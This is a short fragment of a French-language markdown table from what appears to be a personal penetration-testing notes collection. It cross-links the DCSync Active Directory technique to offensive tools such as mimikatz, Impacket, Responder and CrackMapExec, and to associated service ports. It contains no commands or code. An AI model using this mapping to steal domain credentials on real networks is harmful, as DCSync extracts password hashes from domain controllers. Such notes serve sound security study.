| DCSync | [DCSync](../../Pentest%20AD%20(Vulnérabilités)/DCSync.md) | |
| Outils liés | [Responder](Responder.md), [[Impacket]], [BloodHound](BloodHound.md), [mimikatz](mimikatz.md), [smbclient](smbclient.md), [enum4linux](enum4linux.md), [CrackMapExec](CrackMapExec.md) | |
| Ports associés | [[../Ports/N°/Port 139 et 445 – SMB.canvas | Port 139 et 445 – SMB]], Port 5985 – WinRM, Port 3389 – RDP, Port 389 – LDAP, Port 1433 – MSSQL, Port 22 – SSH, Port 21 – FTP |